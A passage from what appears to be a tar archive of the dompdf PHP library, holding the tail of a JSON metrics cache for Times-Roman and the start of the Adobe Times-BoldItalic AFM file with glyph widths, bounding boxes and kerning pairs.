        "235": "edieresis",
        "205": "Iacute",
        "177": "plusminus",
        "166": "brokenbar",
        "174": "registered",
        "200": "Egrave",
        "142": "Zcaron",
        "208": "Eth",
        "199": "Ccedilla",
        "193": "Aacute",
        "196": "Adieresis",
        "232": "egrave",
        "211": "Oacute",
        "243": "oacute",
        "239": "idieresis",
        "212": "Ocircumflex",
        "217": "Ugrave",
        "254": "thorn",
        "178": "twosuperior",
        "214": "Odieresis",
        "181": "mu",
        "236": "igrave",
        "190": "threequarters",
        "153": "trademark",
        "204": "Igrave",
        "189": "onehalf",
        "244": "ocircumflex",
        "241": "ntilde",
        "201": "Eacute",
        "188": "onequarter",
        "138": "Scaron",
        "176": "degree",
        "242": "ograve",
        "249": "ugrave",
        "209": "Ntilde",
        "245": "otilde",
        "195": "Atilde",
        "197": "Aring",
        "213": "Otilde",
        "206": "Icircumflex",
        "172": "logicalnot",
        "246": "odieresis",
        "252": "udieresis",
        "240": "eth",
        "158": "zcaron",
        "185": "onesuperior",
        "128": "Euro"
    },
    "isUnicode": false,
    "FontName": "Times-Roman",
    "FullName": "Times Roman",
    "FamilyName": "Times",
    "Weight": "Roman",
    "ItalicAngle": "0",
    "IsFixedPitch": "false",
    "CharacterSet": "ExtendedRoman",
    "FontBBox": [
        "-168",
        "-218",
        "1000",
        "898"
    ],
    "UnderlinePosition": "-100",
    "UnderlineThickness": "50",
    "Version": "002.00",
    "EncodingScheme": "WinAnsiEncoding",
    "CapHeight": "662",
    "XHeight": "450",
    "Ascender": "683",
    "Descender": "-217",
    "StdHW": "28",
    "StdVW": "84",
    "StartCharMetrics": "317",
    "C": {
        "32": 250,
        "160": 250,
        "33": 333,
        "34": 408,
        "35": 500,
        "36": 500,
        "37": 833,
        "38": 778,
        "146": 333,
        "40": 333,
        "41": 333,
        "42": 500,
        "43": 564,
        "44": 250,
        "45": 333,
        "173": 333,
        "46": 250,
        "47": 278,
        "48": 500,
        "49": 500,
        "50": 500,
        "51": 500,
        "52": 500,
        "53": 500,
        "54": 500,
        "55": 500,
        "56": 500,
        "57": 500,
        "58": 278,
        "59": 278,
        "60": 564,
        "61": 564,
        "62": 564,
        "63": 444,
        "64": 921,
        "65": 722,
        "66": 667,
        "67": 667,
        "68": 722,
        "69": 611,
        "70": 556,
        "71": 722,
        "72": 722,
        "73": 333,
        "74": 389,
        "75": 722,
        "76": 611,
        "77": 889,
        "78": 722,
        "79": 722,
        "80": 556,
        "81": 722,
        "82": 667,
        "83": 556,
        "84": 611,
        "85": 722,
        "86": 722,
        "87": 944,
        "88": 722,
        "89": 722,
        "90": 611,
        "91": 333,
        "92": 278,
        "93": 333,
        "94": 469,
        "95": 500,
        "145": 333,
        "97": 444,
        "98": 500,
        "99": 444,
        "100": 500,
        "101": 444,
        "102": 333,
        "103": 500,
        "104": 500,
        "105": 278,
        "106": 278,
        "107": 500,
        "108": 278,
        "109": 778,
        "110": 500,
        "111": 500,
        "112": 500,
        "113": 500,
        "114": 333,
        "115": 389,
        "116": 278,
        "117": 500,
        "118": 500,
        "119": 722,
        "120": 500,
        "121": 500,
        "122": 444,
        "123": 480,
        "124": 200,
        "125": 480,
        "126": 541,
        "161": 333,
        "162": 500,
        "163": 500,
        "fraction": 167,
        "165": 500,
        "131": 500,
        "167": 500,
        "164": 500,
        "39": 180,
        "147": 444,
        "171": 500,
        "139": 333,
        "155": 333,
        "fi": 556,
        "fl": 556,
        "150": 500,
        "134": 500,
        "135": 500,
        "183": 250,
        "182": 453,
        "149": 350,
        "130": 333,
        "132": 444,
        "148": 444,
        "187": 500,
        "133": 1000,
        "137": 1000,
        "191": 444,
        "96": 333,
        "180": 333,
        "136": 333,
        "152": 333,
        "175": 333,
        "breve": 333,
        "dotaccent": 333,
        "168": 333,
        "ring": 333,
        "184": 333,
        "hungarumlaut": 333,
        "ogonek": 333,
        "caron": 333,
        "151": 1000,
        "198": 889,
        "170": 276,
        "Lslash": 611,
        "216": 722,
        "140": 889,
        "186": 310,
        "230": 667,
        "dotlessi": 278,
        "lslash": 278,
        "248": 500,
        "156": 722,
        "223": 500,
        "207": 333,
        "233": 444,
        "abreve": 444,
        "uhungarumlaut": 500,
        "ecaron": 444,
        "159": 722,
        "247": 564,
        "221": 722,
        "194": 722,
        "225": 444,
        "219": 722,
        "253": 500,
        "scommaaccent": 389,
        "234": 444,
        "Uring": 722,
        "220": 722,
        "aogonek": 444,
        "218": 722,
        "uogonek": 500,
        "203": 611,
        "Dcroat": 722,
        "commaaccent": 250,
        "169": 760,
        "Emacron": 611,
        "ccaron": 444,
        "229": 444,
        "Ncommaaccent": 722,
        "lacute": 278,
        "224": 444,
        "Tcommaaccent": 611,
        "Cacute": 667,
        "227": 444,
        "Edotaccent": 611,
        "154": 389,
        "scedilla": 389,
        "237": 278,
        "lozenge": 471,
        "Rcaron": 667,
        "Gcommaaccent": 722,
        "251": 500,
        "226": 444,
        "Amacron": 722,
        "rcaron": 333,
        "231": 444,
        "Zdotaccent": 611,
        "222": 556,
        "Omacron": 722,
        "Racute": 667,
        "Sacute": 556,
        "dcaron": 588,
        "Umacron": 722,
        "uring": 500,
        "179": 300,
        "210": 722,
        "192": 722,
        "Abreve": 722,
        "215": 564,
        "250": 500,
        "Tcaron": 611,
        "partialdiff": 476,
        "255": 500,
        "Nacute": 722,
        "238": 278,
        "202": 611,
        "228": 444,
        "235": 444,
        "cacute": 444,
        "nacute": 500,
        "umacron": 500,
        "Ncaron": 722,
        "205": 333,
        "177": 564,
        "166": 200,
        "174": 760,
        "Gbreve": 722,
        "Idotaccent": 333,
        "summation": 600,
        "200": 611,
        "racute": 333,
        "omacron": 500,
        "Zacute": 611,
        "142": 611,
        "greaterequal": 549,
        "208": 722,
        "199": 667,
        "lcommaaccent": 278,
        "tcaron": 326,
        "eogonek": 444,
        "Uogonek": 722,
        "193": 722,
        "196": 722,
        "232": 444,
        "zacute": 444,
        "iogonek": 278,
        "211": 722,
        "243": 500,
        "amacron": 444,
        "sacute": 389,
        "239": 278,
        "212": 722,
        "217": 722,
        "Delta": 612,
        "254": 500,
        "178": 300,
        "214": 722,
        "181": 500,
        "236": 278,
        "ohungarumlaut": 500,
        "Eogonek": 611,
        "dcroat": 500,
        "190": 750,
        "Scedilla": 556,
        "lcaron": 344,
        "Kcommaaccent": 722,
        "Lacute": 611,
        "153": 980,
        "edotaccent": 444,
        "204": 333,
        "Imacron": 333,
        "Lcaron": 611,
        "189": 750,
        "lessequal": 549,
        "244": 500,
        "241": 500,
        "Uhungarumlaut": 722,
        "201": 611,
        "emacron": 444,
        "gbreve": 500,
        "188": 750,
        "138": 556,
        "Scommaaccent": 556,
        "Ohungarumlaut": 722,
        "176": 400,
        "242": 500,
        "Ccaron": 667,
        "249": 500,
        "radical": 453,
        "Dcaron": 722,
        "rcommaaccent": 333,
        "209": 722,
        "245": 500,
        "Rcommaaccent": 667,
        "Lcommaaccent": 611,
        "195": 722,
        "Aogonek": 722,
        "197": 722,
        "213": 722,
        "zdotaccent": 444,
        "Ecaron": 611,
        "Iogonek": 333,
        "kcommaaccent": 500,
        "minus": 564,
        "206": 333,
        "ncaron": 500,
        "tcommaaccent": 278,
        "172": 564,
        "246": 500,
        "252": 500,
        "notequal": 549,
        "gcommaaccent": 500,
        "240": 500,
        "158": 444,
        "ncommaaccent": 500,
        "185": 300,
        "imacron": 278,
        "128": 500
    },
    "CIDtoGID_Compressed": true,
    "CIDtoGID": "eJwDAAAAAAE=",
    "_version_": 6
}vendor/dompdf/dompdf/lib/fonts/Times-BoldItalic.afm000066600000171335151150442760016257 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 13:04:06 1997
Comment UniqueID 43066
Comment VMusage 45874 56899
FontName Times-BoldItalic
FullName Times Bold Italic
FamilyName Times
Weight Bold
ItalicAngle -15
IsFixedPitch false
CharacterSet ExtendedRoman
FontBBox -200 -218 996 921
UnderlinePosition -100
UnderlineThickness 50
Version 002.000
Notice Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.Times is a trademark of Linotype-Hell AG and/or its subsidiaries.
EncodingScheme WinAnsiEncoding
CapHeight 669
XHeight 462
Ascender 683
Descender -217
StdHW 42
StdVW 121
StartCharMetrics 317
C 32 ; WX 250 ; N space ; B 0 0 0 0 ;
C 160 ; WX 250 ; N space ; B 0 0 0 0 ;
C 33 ; WX 389 ; N exclam ; B 67 -13 370 684 ;
C 34 ; WX 555 ; N quotedbl ; B 136 398 536 685 ;
C 35 ; WX 500 ; N numbersign ; B -33 0 533 700 ;
C 36 ; WX 500 ; N dollar ; B -20 -100 497 733 ;
C 37 ; WX 833 ; N percent ; B 39 -10 793 692 ;
C 38 ; WX 778 ; N ampersand ; B 5 -19 699 682 ;
C 146 ; WX 333 ; N quoteright ; B 98 369 302 685 ;
C 40 ; WX 333 ; N parenleft ; B 28 -179 344 685 ;
C 41 ; WX 333 ; N parenright ; B -44 -179 271 685 ;
C 42 ; WX 500 ; N asterisk ; B 65 249 456 685 ;
C 43 ; WX 570 ; N plus ; B 33 0 537 506 ;
C 44 ; WX 250 ; N comma ; B -60 -182 144 134 ;
C 45 ; WX 333 ; N hyphen ; B 2 166 271 282 ;
C 173 ; WX 333 ; N hyphen ; B 2 166 271 282 ;
C 46 ; WX 250 ; N period ; B -9 -13 139 135 ;
C 47 ; WX 278 ; N slash ; B -64 -18 342 685 ;
C 48 ; WX 500 ; N zero ; B 17 -14 477 683 ;
C 49 ; WX 500 ; N one ; B 5 0 419 683 ;
C 50 ; WX 500 ; N two ; B -27 0 446 683 ;
C 51 ; WX 500 ; N three ; B -15 -13 450 683 ;
C 52 ; WX 500 ; N four ; B -15 0 503 683 ;
C 53 ; WX 500 ; N five ; B -11 -13 487 669 ;
C 54 ; WX 500 ; N six ; B 23 -15 509 679 ;
C 55 ; WX 500 ; N seven ; B 52 0 525 669 ;
C 56 ; WX 500 ; N eight ; B 3 -13 476 683 ;
C 57 ; WX 500 ; N nine ; B -12 -10 475 683 ;
C 58 ; WX 333 ; N colon ; B 23 -13 264 459 ;
C 59 ; WX 333 ; N semicolon ; B -25 -183 264 459 ;
C 60 ; WX 570 ; N less ; B 31 -8 539 514 ;
C 61 ; WX 570 ; N equal ; B 33 107 537 399 ;
C 62 ; WX 570 ; N greater ; B 31 -8 539 514 ;
C 63 ; WX 500 ; N question ; B 79 -13 470 684 ;
C 64 ; WX 832 ; N at ; B 63 -18 770 685 ;
C 65 ; WX 667 ; N A ; B -67 0 593 683 ;
C 66 ; WX 667 ; N B ; B -24 0 624 669 ;
C 67 ; WX 667 ; N C ; B 32 -18 677 685 ;
C 68 ; WX 722 ; N D ; B -46 0 685 669 ;
C 69 ; WX 667 ; N E ; B -27 0 653 669 ;
C 70 ; WX 667 ; N F ; B -13 0 660 669 ;
C 71 ; WX 722 ; N G ; B 21 -18 706 685 ;
C 72 ; WX 778 ; N H ; B -24 0 799 669 ;
C 73 ; WX 389 ; N I ; B -32 0 406 669 ;
C 74 ; WX 500 ; N J ; B -46 -99 524 669 ;
C 75 ; WX 667 ; N K ; B -21 0 702 669 ;
C 76 ; WX 611 ; N L ; B -22 0 590 669 ;
C 77 ; WX 889 ; N M ; B -29 -12 917 669 ;
C 78 ; WX 722 ; N N ; B -27 -15 748 669 ;
C 79 ; WX 722 ; N O ; B 27 -18 691 685 ;
C 80 ; WX 611 ; N P ; B -27 0 613 669 ;
C 81 ; WX 722 ; N Q ; B 27 -208 691 685 ;
C 82 ; WX 667 ; N R ; B -29 0 623 669 ;
C 83 ; WX 556 ; N S ; B 2 -18 526 685 ;
C 84 ; WX 611 ; N T ; B 50 0 650 669 ;
C 85 ; WX 722 ; N U ; B 67 -18 744 669 ;
C 86 ; WX 667 ; N V ; B 65 -18 715 669 ;
C 87 ; WX 889 ; N W ; B 65 -18 940 669 ;
C 88 ; WX 667 ; N X ; B -24 0 694 669 ;
C 89 ; WX 611 ; N Y ; B 73 0 659 669 ;
C 90 ; WX 611 ; N Z ; B -11 0 590 669 ;
C 91 ; WX 333 ; N bracketleft ; B -37 -159 362 674 ;
C 92 ; WX 278 ; N backslash ; B -1 -18 279 685 ;
C 93 ; WX 333 ; N bracketright ; B -56 -157 343 674 ;
C 94 ; WX 570 ; N asciicircum ; B 67 304 503 669 ;
C 95 ; WX 500 ; N underscore ; B 0 -125 500 -75 ;
C 145 ; WX 333 ; N quoteleft ; B 128 369 332 685 ;
C 97 ; WX 500 ; N a ; B -21 -14 455 462 ;
C 98 ; WX 500 ; N b ; B -14 -13 444 699 ;
C 99 ; WX 444 ; N c ; B -5 -13 392 462 ;
C 100 ; WX 500 ; N d ; B -21 -13 517 699 ;
C 101 ; WX 444 ; N e ; B 5 -13 398 462 ;
C 102 ; WX 333 ; N f ; B -169 -205 446 698 ; L i fi ; L l fl ;
C 103 ; WX 500 ; N g ; B -52 -203 478 462 ;
C 104 ; WX 556 ; N h ; B -13 -9 498 699 ;
C 105 ; WX 278 ; N i ; B 2 -9 263 684 ;
C 106 ; WX 278 ; N j ; B -189 -207 279 684 ;
C 107 ; WX 500 ; N k ; B -23 -8 483 699 ;
C 108 ; WX 278 ; N l ; B 2 -9 290 699 ;
C 109 ; WX 778 ; N m ; B -14 -9 722 462 ;
C 110 ; WX 556 ; N n ; B -6 -9 493 462 ;
C 111 ; WX 500 ; N o ; B -3 -13 441 462 ;
C 112 ; WX 500 ; N p ; B -120 -205 446 462 ;
C 113 ; WX 500 ; N q ; B 1 -205 471 462 ;
C 114 ; WX 389 ; N r ; B -21 0 389 462 ;
C 115 ; WX 389 ; N s ; B -19 -13 333 462 ;
C 116 ; WX 278 ; N t ; B -11 -9 281 594 ;
C 117 ; WX 556 ; N u ; B 15 -9 492 462 ;
C 118 ; WX 444 ; N v ; B 16 -13 401 462 ;
C 119 ; WX 667 ; N w ; B 16 -13 614 462 ;
C 120 ; WX 500 ; N x ; B -46 -13 469 462 ;
C 121 ; WX 444 ; N y ; B -94 -205 392 462 ;
C 122 ; WX 389 ; N z ; B -43 -78 368 449 ;
C 123 ; WX 348 ; N braceleft ; B 5 -187 436 686 ;
C 124 ; WX 220 ; N bar ; B 66 -218 154 782 ;
C 125 ; WX 348 ; N braceright ; B -129 -187 302 686 ;
C 126 ; WX 570 ; N asciitilde ; B 54 173 516 333 ;
C 161 ; WX 389 ; N exclamdown ; B 19 -205 322 492 ;
C 162 ; WX 500 ; N cent ; B 42 -143 439 576 ;
C 163 ; WX 500 ; N sterling ; B -32 -12 510 683 ;
C -1 ; WX 167 ; N fraction ; B -169 -14 324 683 ;
C 165 ; WX 500 ; N yen ; B 33 0 628 669 ;
C 131 ; WX 500 ; N florin ; B -87 -156 537 707 ;
C 167 ; WX 500 ; N section ; B 36 -143 459 685 ;
C 164 ; WX 500 ; N currency ; B -26 34 526 586 ;
C 39 ; WX 278 ; N quotesingle ; B 128 398 268 685 ;
C 147 ; WX 500 ; N quotedblleft ; B 53 369 513 685 ;
C 171 ; WX 500 ; N guillemotleft ; B 12 32 468 415 ;
C 139 ; WX 333 ; N guilsinglleft ; B 32 32 303 415 ;
C 155 ; WX 333 ; N guilsinglright ; B 10 32 281 415 ;
C -1 ; WX 556 ; N fi ; B -188 -205 514 703 ;
C -1 ; WX 556 ; N fl ; B -186 -205 553 704 ;
C 150 ; WX 500 ; N endash ; B -40 178 477 269 ;
C 134 ; WX 500 ; N dagger ; B 91 -145 494 685 ;
C 135 ; WX 500 ; N daggerdbl ; B 10 -139 493 685 ;
C 183 ; WX 250 ; N periodcentered ; B 51 257 199 405 ;
C 182 ; WX 500 ; N paragraph ; B -57 -193 562 669 ;
C 149 ; WX 350 ; N bullet ; B 0 175 350 525 ;
C 130 ; WX 333 ; N quotesinglbase ; B -5 -182 199 134 ;
C 132 ; WX 500 ; N quotedblbase ; B -57 -182 403 134 ;
C 148 ; WX 500 ; N quotedblright ; B 53 369 513 685 ;
C 187 ; WX 500 ; N guillemotright ; B 12 32 468 415 ;
C 133 ; WX 1000 ; N ellipsis ; B 40 -13 852 135 ;
C 137 ; WX 1000 ; N perthousand ; B 7 -29 996 706 ;
C 191 ; WX 500 ; N questiondown ; B 30 -205 421 492 ;
C 96 ; WX 333 ; N grave ; B 85 516 297 697 ;
C 180 ; WX 333 ; N acute ; B 139 516 379 697 ;
C 136 ; WX 333 ; N circumflex ; B 40 516 367 690 ;
C 152 ; WX 333 ; N tilde ; B 48 536 407 655 ;
C 175 ; WX 333 ; N macron ; B 51 553 393 623 ;
C -1 ; WX 333 ; N breve ; B 71 516 387 678 ;
C -1 ; WX 333 ; N dotaccent ; B 163 550 298 684 ;
C 168 ; WX 333 ; N dieresis ; B 55 550 402 684 ;
C -1 ; WX 333 ; N ring ; B 127 516 340 729 ;
C 184 ; WX 333 ; N cedilla ; B -80 -218 156 5 ;
C -1 ; WX 333 ; N hungarumlaut ; B 69 516 498 697 ;
C -1 ; WX 333 ; N ogonek ; B 15 -183 244 34 ;
C -1 ; WX 333 ; N caron ; B 79 516 411 690 ;
C 151 ; WX 1000 ; N emdash ; B -40 178 977 269 ;
C 198 ; WX 944 ; N AE ; B -64 0 918 669 ;
C 170 ; WX 266 ; N ordfeminine ; B 16 399 330 685 ;
C -1 ; WX 611 ; N Lslash ; B -22 0 590 669 ;
C 216 ; WX 722 ; N Oslash ; B 27 -125 691 764 ;
C 140 ; WX 944 ; N OE ; B 23 -8 946 677 ;
C 186 ; WX 300 ; N ordmasculine ; B 56 400 347 685 ;
C 230 ; WX 722 ; N ae ; B -5 -13 673 462 ;
C -1 ; WX 278 ; N dotlessi ; B 2 -9 238 462 ;
C -1 ; WX 278 ; N lslash ; B -7 -9 307 699 ;
C 248 ; WX 500 ; N oslash ; B -3 -119 441 560 ;
C 156 ; WX 722 ; N oe ; B 6 -13 674 462 ;
C 223 ; WX 500 ; N germandbls ; B -200 -200 473 705 ;
C 207 ; WX 389 ; N Idieresis ; B -32 0 450 862 ;
C 233 ; WX 444 ; N eacute ; B 5 -13 435 697 ;
C -1 ; WX 500 ; N abreve ; B -21 -14 471 678 ;
C -1 ; WX 556 ; N uhungarumlaut ; B 15 -9 610 697 ;
C -1 ; WX 444 ; N ecaron ; B 5 -13 467 690 ;
C 159 ; WX 611 ; N Ydieresis ; B 73 0 659 862 ;
C 247 ; WX 570 ; N divide ; B 33 -29 537 535 ;
C 221 ; WX 611 ; N Yacute ; B 73 0 659 904 ;
C 194 ; WX 667 ; N Acircumflex ; B -67 0 593 897 ;
C 225 ; WX 500 ; N aacute ; B -21 -14 463 697 ;
C 219 ; WX 722 ; N Ucircumflex ; B 67 -18 744 897 ;
C 253 ; WX 444 ; N yacute ; B -94 -205 435 697 ;
C -1 ; WX 389 ; N scommaaccent ; B -19 -218 333 462 ;
C 234 ; WX 444 ; N ecircumflex ; B 5 -13 423 690 ;
C -1 ; WX 722 ; N Uring ; B 67 -18 744 921 ;
C 220 ; WX 722 ; N Udieresis ; B 67 -18 744 862 ;
C -1 ; WX 500 ; N aogonek ; B -21 -183 455 462 ;
C 218 ; WX 722 ; N Uacute ; B 67 -18 744 904 ;
C -1 ; WX 556 ; N uogonek ; B 15 -183 492 462 ;
C 203 ; WX 667 ; N Edieresis ; B -27 0 653 862 ;
C -1 ; WX 722 ; N Dcroat ; B -31 0 700 669 ;
C -1 ; WX 250 ; N commaaccent ; B -36 -218 131 -50 ;
C 169 ; WX 747 ; N copyright ; B 30 -18 718 685 ;
C -1 ; WX 667 ; N Emacron ; B -27 0 653 830 ;
C -1 ; WX 444 ; N ccaron ; B -5 -13 467 690 ;
C 229 ; WX 500 ; N aring ; B -21 -14 455 729 ;
C -1 ; WX 722 ; N Ncommaaccent ; B -27 -218 748 669 ;
C -1 ; WX 278 ; N lacute ; B 2 -9 392 904 ;
C 224 ; WX 500 ; N agrave ; B -21 -14 455 697 ;
C -1 ; WX 611 ; N Tcommaaccent ; B 50 -218 650 669 ;
C -1 ; WX 667 ; N Cacute ; B 32 -18 677 904 ;
C 227 ; WX 500 ; N atilde ; B -21 -14 491 655 ;
C -1 ; WX 667 ; N Edotaccent ; B -27 0 653 862 ;
C 154 ; WX 389 ; N scaron ; B -19 -13 424 690 ;
C -1 ; WX 389 ; N scedilla ; B -19 -218 333 462 ;
C 237 ; WX 278 ; N iacute ; B 2 -9 352 697 ;
C -1 ; WX 494 ; N lozenge ; B 10 0 484 745 ;
C -1 ; WX 667 ; N Rcaron ; B -29 0 623 897 ;
C -1 ; WX 722 ; N Gcommaaccent ; B 21 -218 706 685 ;
C 251 ; WX 556 ; N ucircumflex ; B 15 -9 492 690 ;
C 226 ; WX 500 ; N acircumflex ; B -21 -14 455 690 ;
C -1 ; WX 667 ; N Amacron ; B -67 0 593 830 ;
C -1 ; WX 389 ; N rcaron ; B -21 0 424 690 ;
C 231 ; WX 444 ; N ccedilla ; B -5 -218 392 462 ;
C -1 ; WX 611 ; N Zdotaccent ; B -11 0 590 862 ;
C 222 ; WX 611 ; N Thorn ; B -27 0 573 669 ;
C -1 ; WX 722 ; N Omacron ; B 27 -18 691 830 ;
C -1 ; WX 667 ; N Racute ; B -29 0 623 904 ;
C -1 ; WX 556 ; N Sacute ; B 2 -18 531 904 ;
C -1 ; WX 608 ; N dcaron ; B -21 -13 675 708 ;
C -1 ; WX 722 ; N Umacron ; B 67 -18 744 830 ;
C -1 ; WX 556 ; N uring ; B 15 -9 492 729 ;
C 179 ; WX 300 ; N threesuperior ; B 17 265 321 683 ;
C 210 ; WX 722 ; N Ograve ; B 27 -18 691 904 ;
C 192 ; WX 667 ; N Agrave ; B -67 0 593 904 ;
C -1 ; WX 667 ; N Abreve ; B -67 0 593 885 ;
C 215 ; WX 570 ; N multiply ; B 48 16 522 490 ;
C 250 ; WX 556 ; N uacute ; B 15 -9 492 697 ;
C -1 ; WX 611 ; N Tcaron ; B 50 0 650 897 ;
C -1 ; WX 494 ; N partialdiff ; B 11 -21 494 750 ;
C 255 ; WX 444 ; N ydieresis ; B -94 -205 443 655 ;
C -1 ; WX 722 ; N Nacute ; B -27 -15 748 904 ;
C 238 ; WX 278 ; N icircumflex ; B -3 -9 324 690 ;
C 202 ; WX 667 ; N Ecircumflex ; B -27 0 653 897 ;
C 228 ; WX 500 ; N adieresis ; B -21 -14 476 655 ;
C 235 ; WX 444 ; N edieresis ; B 5 -13 448 655 ;
C -1 ; WX 444 ; N cacute ; B -5 -13 435 697 ;
C -1 ; WX 556 ; N nacute ; B -6 -9 493 697 ;
C -1 ; WX 556 ; N umacron ; B 15 -9 492 623 ;
C -1 ; WX 722 ; N Ncaron ; B -27 -15 748 897 ;
C 205 ; WX 389 ; N Iacute ; B -32 0 432 904 ;
C 177 ; WX 570 ; N plusminus ; B 33 0 537 506 ;
C 166 ; WX 220 ; N brokenbar ; B 66 -143 154 707 ;
C 174 ; WX 747 ; N registered ; B 30 -18 718 685 ;
C -1 ; WX 722 ; N Gbreve ; B 21 -18 706 885 ;
C -1 ; WX 389 ; N Idotaccent ; B -32 0 406 862 ;
C -1 ; WX 600 ; N summation ; B 14 -10 585 706 ;
C 200 ; WX 667 ; N Egrave ; B -27 0 653 904 ;
C -1 ; WX 389 ; N racute ; B -21 0 407 697 ;
C -1 ; WX 500 ; N omacron ; B -3 -13 462 623 ;
C -1 ; WX 611 ; N Zacute ; B -11 0 590 904 ;
C 142 ; WX 611 ; N Zcaron ; B -11 0 590 897 ;
C -1 ; WX 549 ; N greaterequal ; B 26 0 523 704 ;
C 208 ; WX 722 ; N Eth ; B -31 0 700 669 ;
C 199 ; WX 667 ; N Ccedilla ; B 32 -218 677 685 ;
C -1 ; WX 278 ; N lcommaaccent ; B -42 -218 290 699 ;
C -1 ; WX 366 ; N tcaron ; B -11 -9 434 754 ;
C -1 ; WX 444 ; N eogonek ; B 5 -183 398 462 ;
C -1 ; WX 722 ; N Uogonek ; B 67 -183 744 669 ;
C 193 ; WX 667 ; N Aacute ; B -67 0 593 904 ;
C 196 ; WX 667 ; N Adieresis ; B -67 0 593 862 ;
C 232 ; WX 444 ; N egrave ; B 5 -13 398 697 ;
C -1 ; WX 389 ; N zacute ; B -43 -78 407 697 ;
C -1 ; WX 278 ; N iogonek ; B -20 -183 263 684 ;
C 211 ; WX 722 ; N Oacute ; B 27 -18 691 904 ;
C 243 ; WX 500 ; N oacute ; B -3 -13 463 697 ;
C -1 ; WX 500 ; N amacron ; B -21 -14 467 623 ;
C -1 ; WX 389 ; N sacute ; B -19 -13 407 697 ;
C 239 ; WX 278 ; N idieresis ; B 2 -9 364 655 ;
C 212 ; WX 722 ; N Ocircumflex ; B 27 -18 691 897 ;
C 217 ; WX 722 ; N Ugrave ; B 67 -18 744 904 ;
C -1 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 254 ; WX 500 ; N thorn ; B -120 -205 446 699 ;
C 178 ; WX 300 ; N twosuperior ; B 2 274 313 683 ;
C 214 ; WX 722 ; N Odieresis ; B 27 -18 691 862 ;
C 181 ; WX 576 ; N mu ; B -60 -207 516 449 ;
C 236 ; WX 278 ; N igrave ; B 2 -9 259 697 ;
C -1 ; WX 500 ; N ohungarumlaut ; B -3 -13 582 697 ;
C -1 ; WX 667 ; N Eogonek ; B -27 -183 653 669 ;
C -1 ; WX 500 ; N dcroat ; B -21 -13 552 699 ;
C 190 ; WX 750 ; N threequarters ; B 7 -14 726 683 ;
C -1 ; WX 556 ; N Scedilla ; B 2 -218 526 685 ;
C -1 ; WX 382 ; N lcaron ; B 2 -9 448 708 ;
C -1 ; WX 667 ; N Kcommaaccent ; B -21 -218 702 669 ;
C -1 ; WX 611 ; N Lacute ; B -22 0 590 904 ;
C 153 ; WX 1000 ; N trademark ; B 32 263 968 669 ;
C -1 ; WX 444 ; N edotaccent ; B 5 -13 398 655 ;
C 204 ; WX 389 ; N Igrave ; B -32 0 406 904 ;
C -1 ; WX 389 ; N Imacron ; B -32 0 461 830 ;
C -1 ; WX 611 ; N Lcaron ; B -22 0 671 718 ;
C 189 ; WX 750 ; N onehalf ; B -9 -14 723 683 ;
C -1 ; WX 549 ; N lessequal ; B 29 0 526 704 ;
C 244 ; WX 500 ; N ocircumflex ; B -3 -13 451 690 ;
C 241 ; WX 556 ; N ntilde ; B -6 -9 504 655 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 67 -18 744 904 ;
C 201 ; WX 667 ; N Eacute ; B -27 0 653 904 ;
C -1 ; WX 444 ; N emacron ; B 5 -13 439 623 ;
C -1 ; WX 500 ; N gbreve ; B -52 -203 478 678 ;
C 188 ; WX 750 ; N onequarter ; B 7 -14 721 683 ;
C 138 ; WX 556 ; N Scaron ; B 2 -18 553 897 ;
C -1 ; WX 556 ; N Scommaaccent ; B 2 -218 526 685 ;
C -1 ; WX 722 ; N Ohungarumlaut ; B 27 -18 723 904 ;
C 176 ; WX 400 ; N degree ; B 83 397 369 683 ;
C 242 ; WX 500 ; N ograve ; B -3 -13 441 697 ;
C -1 ; WX 667 ; N Ccaron ; B 32 -18 677 897 ;
C 249 ; WX 556 ; N ugrave ; B 15 -9 492 697 ;
C -1 ; WX 549 ; N radical ; B 10 -46 512 850 ;
C -1 ; WX 722 ; N Dcaron ; B -46 0 685 897 ;
C -1 ; WX 389 ; N rcommaaccent ; B -67 -218 389 462 ;
C 209 ; WX 722 ; N Ntilde ; B -27 -15 748 862 ;
C 245 ; WX 500 ; N otilde ; B -3 -13 491 655 ;
C -1 ; WX 667 ; N Rcommaaccent ; B -29 -218 623 669 ;
C -1 ; WX 611 ; N Lcommaaccent ; B -22 -218 590 669 ;
C 195 ; WX 667 ; N Atilde ; B -67 0 593 862 ;
C -1 ; WX 667 ; N Aogonek ; B -67 -183 604 683 ;
C 197 ; WX 667 ; N Aring ; B -67 0 593 921 ;
C 213 ; WX 722 ; N Otilde ; B 27 -18 691 862 ;
C -1 ; WX 389 ; N zdotaccent ; B -43 -78 368 655 ;
C -1 ; WX 667 ; N Ecaron ; B -27 0 653 897 ;
C -1 ; WX 389 ; N Iogonek ; B -32 -183 406 669 ;
C -1 ; WX 500 ; N kcommaaccent ; B -23 -218 483 699 ;
C -1 ; WX 606 ; N minus ; B 51 209 555 297 ;
C 206 ; WX 389 ; N Icircumflex ; B -32 0 450 897 ;
C -1 ; WX 556 ; N ncaron ; B -6 -9 523 690 ;
C -1 ; WX 278 ; N tcommaaccent ; B -62 -218 281 594 ;
C 172 ; WX 606 ; N logicalnot ; B 51 108 555 399 ;
C 246 ; WX 500 ; N odieresis ; B -3 -13 471 655 ;
C 252 ; WX 556 ; N udieresis ; B 15 -9 499 655 ;
C -1 ; WX 549 ; N notequal ; B 15 -49 540 570 ;
C -1 ; WX 500 ; N gcommaaccent ; B -52 -203 478 767 ;
C 240 ; WX 500 ; N eth ; B -3 -13 454 699 ;
C 158 ; WX 389 ; N zcaron ; B -43 -78 424 690 ;
C -1 ; WX 556 ; N ncommaaccent ; B -6 -218 493 462 ;
C 185 ; WX 300 ; N onesuperior ; B 30 274 301 683 ;
C -1 ; WX 278 ; N imacron ; B 2 -9 294 623 ;
C 128 ; WX 500 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
StartKernData
StartKernPairs 2038
KPX A C -65
KPX A Cacute -65
KPX A Ccaron -65
KPX A Ccedilla -65
KPX A G -60
KPX A Gbreve -60
KPX A Gcommaaccent -60
KPX A O -50
KPX A Oacute -50
KPX A Ocircumflex -50
KPX A Odieresis -50
KPX A Ograve -50
KPX A Ohungarumlaut -50
KPX A Omacron -50
KPX A Oslash -50
KPX A Otilde -50
KPX A Q -55
KPX A T -55
KPX A Tcaron -55
